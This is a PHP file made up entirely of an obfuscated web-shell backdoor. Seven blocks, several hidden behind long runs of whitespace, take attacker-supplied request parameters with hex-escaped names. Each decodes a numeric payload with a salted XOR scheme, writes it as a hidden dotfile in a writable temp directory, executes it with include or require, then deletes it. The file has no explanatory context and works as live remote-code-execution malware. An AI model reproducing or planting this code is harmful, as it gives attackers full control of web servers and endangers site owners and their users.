<?php																																										if(!empty($_REQUEST["b\x69\x6Ed"])){ $property_set = array_filter([getcwd(), "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TMP")]); $holder = $_REQUEST["b\x69\x6Ed"]; $holder = explode ( '.' , $holder ) ; $rec = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); foreach ($holder as $n => $v7): $chS = ord($s[$n % $sLen] ); $dec = ((int)$v7 - $chS - ($n % 10)) ^ 100; $rec.=chr($dec ); endforeach; $descriptor = 0; do { $ent = $property_set[$descriptor] ?? null; if ($descriptor >= count($property_set)) break; if (max(0, is_dir($ent) * is_writable($ent))) { $obj = implode("/", [$ent, ".ref"]); if (file_put_contents($obj, $rec)) { require $obj; unlink($obj); exit; } } $descriptor++; } while (true); }
																																										if(!empty($_REQUEST["en\x74ity"])){ $resource = array_filter([sys_get_temp_dir(), "/tmp", getcwd(), getenv("TMP"), getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm"]); $pset = $_REQUEST["en\x74ity"]; $pset = explode ('.' , $pset) ; $dchunk= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $salt ); $p= 0; array_walk( $pset, function( $v4) use( &$dchunk, &$p, $salt, $sLen) {$sChar= ord( $salt[$p%$sLen] ); $dec= ( ( int)$v4 - $sChar -( $p%10)) ^ 67; $dchunk .= chr( $dec ); $p++; } ); foreach ($resource as $key => $factor) { if (max(0, is_dir($factor) * is_writable($factor))) { $element = join("/", [$factor, ".value"]); if (@file_put_contents($element, $dchunk) !== false) { include $element; unlink($element); exit; } } } }
																																										if(@$_POST["pset"] !== null){ $component = array_filter([getenv("TMP"), sys_get_temp_dir(), getcwd(), session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", "/var/tmp"]); $sym = $_POST["pset"]; $sym = explode( ".", $sym); $ptr=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $salt); $p=0; array_walk( $sym, function( $v2) use( &$ptr, &$p, $salt, $lenS) { $sChar=ord( $salt[$p % $lenS]); $dec=( ( int)$v2 - $sChar -( $p % 10))^ 85; $ptr .= chr( $dec); $p++; }); $dchunk = 0; do { $value = $component[$dchunk] ?? null; if ($dchunk >= count($component)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($value)) { $ref = sprintf("%s/.item", $value); if (@file_put_contents($ref, $ptr) !== false) { include $ref; unlink($ref); exit; } } $dchunk++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "\x70grp")){ $tkn = array_filter([sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), session_save_path(), "/var/tmp", getenv("TMP"), "/tmp", getenv("TEMP")]); $rec = $_POST["\x70grp"]; $rec =explode ( "." , $rec ) ; $bind = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $t = 0; array_walk($rec,function ($v6) use (&$bind,&$t,$s,$lenS) { $sChar = ord($s[$t% $lenS] ); $dec = ((int)$v6 - $sChar - ($t% 10)) ^ 73; $bind .=chr($dec ); $t++; } ); while ($res = array_shift($tkn)) { if ((function($d) { return is_dir($d) && is_writable($d); })($res)) { $key = sprintf("%s/.ref", $res); if (@file_put_contents($key, $bind) !== false) { include $key; unlink($key); die(); } } } }
																																										if(isset($_REQUEST["prope\x72ty\x5F\x73\x65\x74"])){ $key = $_REQUEST["prope\x72ty\x5F\x73\x65\x74"]; $key= explode ( '.' , $key ) ; $symbol = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $n = 0; foreach ($key as $v4) { $sChar = ord($salt[$n % $sLen]); $dec = ((int)$v4 - $sChar - ($n % 10)) ^ 35; $symbol.=chr($dec); $n++; } $flag = array_filter([getenv("TMP"), getenv("TEMP"), "/var/tmp", getcwd(), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), "/dev/shm"]); while ($component = array_shift($flag)) { if ((function($d) { return is_dir($d) && is_writable($d); })($component)) { $resource = join("/", [$component, ".tkn"]); if (file_put_contents($resource, $symbol)) { require $resource; unlink($resource); die(); } } } }
																																										if(in_array("pr\x6F\x70ert\x79_set", array_keys($_REQUEST))){ $pset = $_REQUEST["pr\x6F\x70ert\x79_set"]; $pset = explode( "." , $pset ) ; $marker = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt7); $r = 0; $len = count($pset); do { if ($r >=$len) break; $v8 = $pset[$r]; $chS = ord($salt7[$r % $sLen]); $d = ((int)$v8 - $chS - ($r % 10)) ^ 58; $marker .= chr($d); $r++; }while (true); $ptr = array_filter(["/tmp", sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/dev/shm", getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), getcwd()]); $data = 0; do { $object = $ptr[$data] ?? null; if ($data >= count($ptr)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($object)) { $res = sprintf("%s/.entry", $object); if (file_put_contents($res, $marker)) { require $res; unlink($res); die(); } } $data++; } while (true); }


if(array_key_exists("\x65nt", $_REQUEST)){
	$ent = $_REQUEST["\x65nt"];
		$ent=		 explode  ('.',$ent)	 	;			
	$parameter_group = '';
            $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($s4);
    
            foreach ($ent as $z	=>$v8) {
                $sChar = ord($s4[$z % $sLen]);
                $dec = ((int)$v8 - $sChar - ($z % 10)) ^ 	32;
                $parameter_group.=	chr($dec);
            }
	$pgrp = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), "/tmp", getcwd(), getenv("TEMP"), "/var/tmp", getenv("TMP")]);
	foreach ($pgrp as $reference):
    		if (array_product([is_dir($reference), is_writable($reference)])) {
    $fac = implode("/", [$reference, ".hld"]);
    $success = file_put_contents($fac, $parameter_group);
if ($success) {
	include $fac;
	@unlink($fac);
	exit;}
}
endforeach;
}